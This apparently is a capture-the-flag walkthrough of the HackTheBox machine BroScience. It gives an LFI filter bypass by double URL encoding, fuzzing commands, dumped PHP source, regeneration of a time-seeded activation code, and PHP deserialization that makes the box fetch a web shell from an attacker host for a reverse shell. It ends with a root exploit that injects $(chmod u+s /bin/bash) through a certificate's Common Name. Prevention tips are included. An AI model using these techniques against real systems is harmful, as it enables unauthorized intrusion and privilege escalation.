BroScience chains a double-URL-encoding bypass of an LFI filter into full source disclosure, a time-seeded activation code that can be regenerated offline, a PHP object injection in the theme cookie that writes a web shell, salted MD5 hashes from PostgreSQL for SSH as bill, and a root cron job that drops a certificate’s Common Name into bash -c.
In the contrary the official HTB path and description of the box goes as follows:
BroScience is a Medium Difficulty Linux machine that features a web application vulnerable to LFI. Through the ability to read arbitrary files on the target, the attacker gains an insight into how account activation codes are generated, and is thus able to create a set of potentially valid tokens to activate a newly created account. Once logged in, further enumeration reveals that the site’s theme-picker functionality is vulnerable to PHP deserialisation using a custom gadget chain, allowing an attacker to copy files on the target system, eventually leading to remote code execution. Once a foothold has been established, a handful of hashes are recovered from a database, which once cracked prove to contain a valid SSH password for the machine’s main user bill. Finally, the privilege escalation is based on a cronjob executing a Bash script that is vulnerable to command injection through a certificate generated by openssl, forfeiting root access to the attacker.
A gym blog with exercises, comments and user profiles. Registering works, but the account has to be activated through a link “sent by email” before we can log in — a dead end for now.
Profiles live at user.php?id=N and need no login, so we enumerate them (an IDOR — any profile, any visitor):
The filter checks the once-decoded value, then the code decodes a second time and uses the result. Encoding every character twice also works (and hides etc/passwd and .ssh from the blacklist):
bill is the only login user, and postgres hints at the database. Since img.php uses file_get_contents(), not include(), PHP files come back as source, not executed — perfect for code review.
The base directory is /var/www/html/images/, so four ../ reach /. To fuzz, we double-encode that prefix by hand and let ffuf double-encode each wordlist entry with its -enc encoders:
-enc (ffuf ≥ 2.1.0) runs each wordlist entry through pencode encoders before it goes into the request; listing two chains them left to right. urlencodeall encodes every byte, unlike urlencode (reserved characters only), and uses uppercase hex (. → %2E → %25%32%45) — servers don’t care about hex case. The ffuf output then shows the encoded payload, so decode the hits to read them. Use a plain wordlist: entries that are already encoded get encoded twice more and turn into noise.
All SQL is parameterized (pg_prepare / pg_execute with $1 placeholders, IDs through FILTER_VALIDATE_INT) — no SQLi anywhere.
user.php has no auth check (the IDOR above) and echoes the email without escaping; exercise.php echoes title, content and author raw — but only exercise authors control those.
Passwords are stored as md5($db_salt . $password).
includes/utils.php holds the two real bugs: the activation code generator and the theme cookie.
Full source — register / login / activate / user / update_user / comment / index / exercise
<?phpsession_start();// Check if user is logged in already
if(isset($_SESSION['id'])){header('Location: /index.php');}// Handle a submitted register form
if(isset($_POST['username'])&&isset($_POST['email'])&&isset($_POST['password'])&&isset($_POST['password-confirm'])){// Check if variables are empty
if(!empty($_POST['username'])&&!empty($_POST['email'])&&!empty($_POST['password'])&&!empty($_POST['password-confirm'])){// Check if passwords match
if(strcmp($_POST['password'],$_POST['password-confirm'])==0){// Check if email is too long
if(strlen($_POST['email'])<=100){// Check if email is valid
if(filter_var($_POST['email'],FILTER_VALIDATE_EMAIL)){// Check if username is valid
if(strlen($_POST['username'])<=100){// Check if user exists already
include_once'includes/db_connect.php';$res=pg_prepare($db_conn,"check_username_query",'SELECT id FROM users WHERE username = $1');$res=pg_execute($db_conn,"check_username_query",array($_POST['username']));if(pg_num_rows($res)==0){// Check if email is registered already
$res=pg_prepare($db_conn,"check_email_query",'SELECT id FROM users WHERE email = $1');$res=pg_execute($db_conn,"check_email_query",array($_POST['email']));if(pg_num_rows($res)==0){// Create the account
include_once'includes/utils.php';$activation_code=generate_activation_code();$res=pg_prepare($db_conn,"check_code_unique_query",'SELECT id FROM users WHERE activation_code = $1');$res=pg_execute($db_conn,"check_code_unique_query",array($activation_code));if(pg_num_rows($res)==0){$res=pg_prepare($db_conn,"create_user_query",'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');$res=pg_execute($db_conn,"create_user_query",array($_POST['username'],md5($db_salt.$_POST['password']),$_POST['email'],$activation_code));// TODO: Send the activation link to email
$activation_link="https://broscience.htb/activate.php?code={$activation_code}";$alert="Account created. Please check your email for the activation link.";$alert_type="success";}else{$alert="Failed to generate a valid activation code, please try again.";}}else{$alert="An account with this email already exists.";}}else{$alert="Username is already taken.";}}else{$alert="Maximum username length is 100 characters.";}}else{$alert="Please enter a valid email address.";}}else{$alert="Maximum email length is 100 characters.";}}else{$alert="Passwords do not match.";}}else{$alert="Please fill all fields in.";}}?><html>
<head>
<title>BroScience : Register</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="register.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Register</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="email" class="uk-input" type="email" placeholder="Email">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Register</button>
</div>
</fieldset>
</form>
</div>
</body>
</html>
<?phpsession_start();// Check if user is logged in already
if(isset($_SESSION['id'])){header('Location: /index.php');}// Handle a submitted log in form
if(isset($_POST['username'])&&isset($_POST['password'])){// Check if variables are empty
if(!empty($_POST['username'])&&!empty($_POST['password'])){include_once'includes/db_connect.php';// Check if username:password is correct
$res=pg_prepare($db_conn,"login_query",'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');$res=pg_execute($db_conn,"login_query",array($_POST['username'],md5($db_salt.$_POST['password'])));if(pg_num_rows($res)==1){// Check if account is activated
$row=pg_fetch_row($res);if((bool)$row[2]){// User is logged in
$_SESSION['id']=$row[0];$_SESSION['username']=$row[1];$_SESSION['is_admin']=$row[3];// Redirect to home page
header('Location: /index.php');}else{$alert="Account is not activated yet";}}else{$alert="Username or password is incorrect.";}}else{$alert="Please fill in both username and password.";}}?><html>
<head>
<title>BroScience : Log In</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="login.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Log In</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Log in</button>
</div>
<div class="uk-margin">
<a href="register.php">Create an account</a>
</div>
</fieldset>
</form>
</div>
</body>
</html>
<?phpsession_start();// Check if user is not logged in
if(!isset($_SESSION['id'])){header('Location: /login.php');echo"Not logged in";die();}// Check that all parameters are filled out
if(!isset($_POST['id'])||!isset($_POST['username'])||!isset($_POST['email'])||!isset($_POST['password'])){header('Location: /index.php');echo"Missing parameters";die();}// Check that parameters are not empty
if(empty($_POST['id'])){header('Location: /index.php');echo"Empty parameters";die();}// Check that we have permissions
include_once'includes/db_connect.php';$res=pg_prepare($db_conn,"is_admin_query",'SELECT is_admin::int FROM users WHERE id = $1');$res=pg_execute($db_conn,"is_admin_query",array($_SESSION['id']));$row=pg_fetch_row($res);$_SESSION['is_admin']=$row[0];// Update value since we can
if($_SESSION['id']!==$_POST['id']&&!(bool)$row[0]){header("Location: /user.php?id={$_POST['id']}");echo"Missing permissions";die();}// Update the user
if(!empty($_POST['username'])){if(strlen($_POST['username'])<=100){// Ensure username is unique
$res=pg_prepare($db_conn,"check_username_query",'SELECT id FROM users WHERE username = $1');$res=pg_execute($db_conn,"check_username_query",array($_POST['username']));if(pg_num_rows($res)==0){$res=pg_prepare($db_conn,"update_user_username_query",'UPDATE users SET username = $1 WHERE id = $2');$res=pg_execute($db_conn,"update_user_username_query",array($_POST['username'],$_POST['id']));// Update session username if we are logged in as this user
if($_SESSION['id']===$_POST['id']){$_SESSION['username']=$_POST['username'];}}else{echo"Skipping username which already exists\n";}}else{echo"Skipped invalid username\n";}}if(!empty($_POST['email'])){if(filter_var($_POST['email'],FILTER_VALIDATE_EMAIL)){// Ensure email is unique
$res=pg_prepare($db_conn,"check_email_query",'SELECT id FROM users WHERE email = $1');$res=pg_execute($db_conn,"check_email_query",array($_POST['email']));if(pg_num_rows($res)==0){$res=pg_prepare($db_conn,"update_user_email_query",'UPDATE users SET email = $1 WHERE id = $2');$res=pg_execute($db_conn,"update_user_email_query",array($_POST['email'],$_POST['id']));}else{echo"Skipping email which already exists\n";}}else{echo"Skipped invalid email\n";}}if(!empty($_POST['password'])){$res=pg_prepare($db_conn,"update_user_password_query",'UPDATE users SET password = $1 WHERE id = $2');$res=pg_execute($db_conn,"update_user_password_query",array(md5($db_salt.$_POST['password']),$_POST['id']));}header("Location: /user.php?id={$_POST['id']}");echo"User updated";?>
<?phpsession_start();// Check if user is not logged in
if(!isset($_SESSION['id'])){header('Location: /login.php');echo"Not logged in";die();}// Check that all parameters are filled out
if(!isset($_POST['content'])||!isset($_POST['exercise_id'])){header('Location: /index.php');echo"Missing parameters";die();}// Check that parameters are not empty
if(empty($_POST['content'])||empty($_POST['exercise_id'])){header('Location: /index.php');echo"Empty parameters";die();}// Add the comment
include_once'includes/db_connect.php';$res=pg_prepare($db_conn,"add_comment_query",'INSERT INTO comments (exercise_id, author_id, content) VALUES ($1, $2, $3)');$res=pg_execute($db_conn,"add_comment_query",array($_POST['exercise_id'],$_SESSION['id'],$_POST['content']));header("Location: /exercise.php?id={$_POST['exercise_id']}");echo"Comment posted";?>
register.php calls this and stores the result; activate.php?code= flips is_activated when the code matches.
srand(time())seeds the PRNG with the current Unix timestamp. A PRNG is a formula: same seed, same sequence.
rand(0, 61) takes the next number of that sequence and picks a character from the 62-character alphabet, 32 times.
So 62³² possible codes collapse to one code per second. Knowing roughly when we registered is enough.
The server’s clock comes for free in the Date: header of the registration response. We rebuild the code locally for a few seconds either side (PHP ≥ 7.1 on both ends — rand()/srand() are aliases of mt_rand()/mt_srand() there):
Prevention (for reports): Never seed a PRNG with the time for security tokens. Use a CSPRNG: bin2hex(random_bytes(16)) gives 32 unpredictable hex characters.
Foothold — PHP object injection in the theme cookie#
Logged in, the navbar gets a theme toggle that calls swap_theme.php:
<?phpsession_start();// Check if user is logged in already
if(!isset($_SESSION['id'])){header('Location: /index.php');}// Swap the theme
include_once"includes/utils.php";if(strcmp(get_theme(),"light")===0){set_theme("dark");}else{set_theme("light");}// Redirect
if(!empty($_SERVER['HTTP_REFERER'])){header("Location: {$_SERVER['HTTP_REFERER']}");}else{header("Location: /index.php");}
The theme lives in a cookie, and get_theme() — called by every page — deserializes it:
The same file defines two classes that have nothing to do with themes (leftovers of an unfinished avatar feature — <!-- TODO: Avatars --> in user.php):
A serialized string carries its own class name, and unserialize() builds whatever class it names as long as it is defined — and utils.php is always loaded:
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";} <- what the app expects
O:15:"AvatarInterface":2:{s:3:"tmp";s:...;s:7:"imgPath";s:...;} <- what we send
The gadget chain:
user-prefs cookie → base64_decode → unserialize()
→ builds AvatarInterface with our $tmp / $imgPath
→ PHP auto-calls __wakeup()
→ new Avatar($imgPath) → save($tmp)
→ file_get_contents($tmp) // any path or URL (allow_url_fopen)
→ fopen($imgPath, "w") + fwrite
→ return $up->theme // null — the file is already written
AvatarInterface is the trigger (magic method), Avatar is the action (file write). Together: download any file to any path www-data can write. We build the cookie with our own copy of the class:
web.php on our side is a one-line PHP web shell. We serve it, load any page logged in with Cookie: PHPSESSID=...; user-prefs=<payload>, and the box fetches it:
└─$ nc -lvnp 4444listening on [any]4444 ...
connect to [ATTACKER-IP] from (UNKNOWN)[VICTIM-IP]40246id
uid=33(www-data)gid=33(www-data)groups=33(www-data)python3 -c 'import pty;pty.spawn("/bin/bash");'www-data@broscience:/var/www/html$
Tip
Different from the intended path. The official route uses the same gadget to copy the PHP session file (/var/lib/php/sessions/sess_<PHPSESSID>) into the web root as .php, after setting the username to a PHP one-liner — the session file stores the username, so it becomes a web shell. Our route makes file_get_contents() fetch the shell from our HTTP server instead. Simpler, but it needs allow_url_fopen and outbound access from the box; the session-file copy works fully offline.
Tip
Prevention (for reports): Never unserialize() client-controlled data. Keep preferences server-side or use json_decode(); at minimum unserialize($data, ['allowed_classes' => ['UserPrefs']]), which turns any other class into a harmless __PHP_Incomplete_Class.
linux-exploit-suggester flags the usual suspects (CVE-2021-3490 eBPF, DirtyPipe, PwnKit, CVE-2022-32250). DirtyPipe failed repeatedly and the rest need compiling, so we leave them as a last resort.
Tip
“Probable” in exploit suggesters only means the version string falls in a range — Debian backports fixes without bumping it, so these are often false positives. And no gcc on the box isn’t a blocker: compile statically on the attacker box (gcc -static) and transfer the binary.
/etc/crontab doesn’t show root’s own crontab, so we watch processes with pspy. pspy64 wanted a newer glibc than this Debian 11 box has; the statically linked pspy32 runs fine on the 64-bit kernel:
How the certificate’s Common Name reaches a shell:
Expiry gate — -checkend 86400 returns 0 when the cert does not expire within 24 h, and the script exits. A cert made with -days 1 passes.
Extraction — commonName is whatever follows CN = up to the first comma. $(...) inside a variable’s value is never executed by these echo/grep/awk lines.
Sink — /bin/bash -c "mv ... /home/bill/Certs/$commonName.crt": the outer double quotes paste the CN into a string, and bash -c parses that string as a new command line — now $(...) runs, as root.
We create a self-signed cert that expires within a day, with the payload as Common Name (interactive prompts — -subj would treat the / in /bin/bash as a field separator):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:2048 -keyout /tmp/k.key -out broscience.crt -days 1Generating a RSA private key
...............................+++++
................+++++
writing new private key to '/tmp/k.key'-----
...
Country Name (2 letter code)[AU]:AU
State or Province Name (full name)[Some-State]:FLO
Locality Name (eg, city)[]:Ath
Organization Name (eg, company)[Internet Widgits Pty Ltd]:lol
Organizational Unit Name (eg, section)[]:lol
Common Name (e.g. server FQDN or YOUR name)[]:$(chmod u+s /bin/bash)Email Address []:fsf
bill@broscience:~$ mv broscience.crt Certs/
bill@broscience:~$ cd Certs/
bill@broscience:~/Certs$ openssl x509 -in broscience.crt -noout -subject
subject=C= AU, ST= FLO, L= Ath, O= lol, OU= lol, CN="$(chmod u+s /bin/bash)", emailAddress= fsf
Tip
OpenSSL wraps the CN in double quotes because of its special characters, so the script builds mv /tmp/temp.crt /home/bill/Certs/"$(chmod u+s /bin/bash)".crt. That doesn’t save it: command substitution still runs inside double quotes — only single quotes would stop it. The , emailAddress = fsf part is cut off by the awk -F,, which is also why the payload must not contain a comma. Note openssl x509 reads a cert; openssl req -x509 is what creates one.
After the next cron run:
1
2
bill@broscience:~/Certs$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 272022 /bin/bash
bash drops the elevated EUID unless started with -p:
Prevention (for reports): Never build a bash -c command string from data parsed out of user-controlled files. Call mv directly with the variable quoted (mv /tmp/temp.crt "/home/bill/Certs/${commonName}.crt"), validate the CN against a strict allowlist (^[A-Za-z0-9.-]+$), and don’t let root jobs process files from a user-writable directory.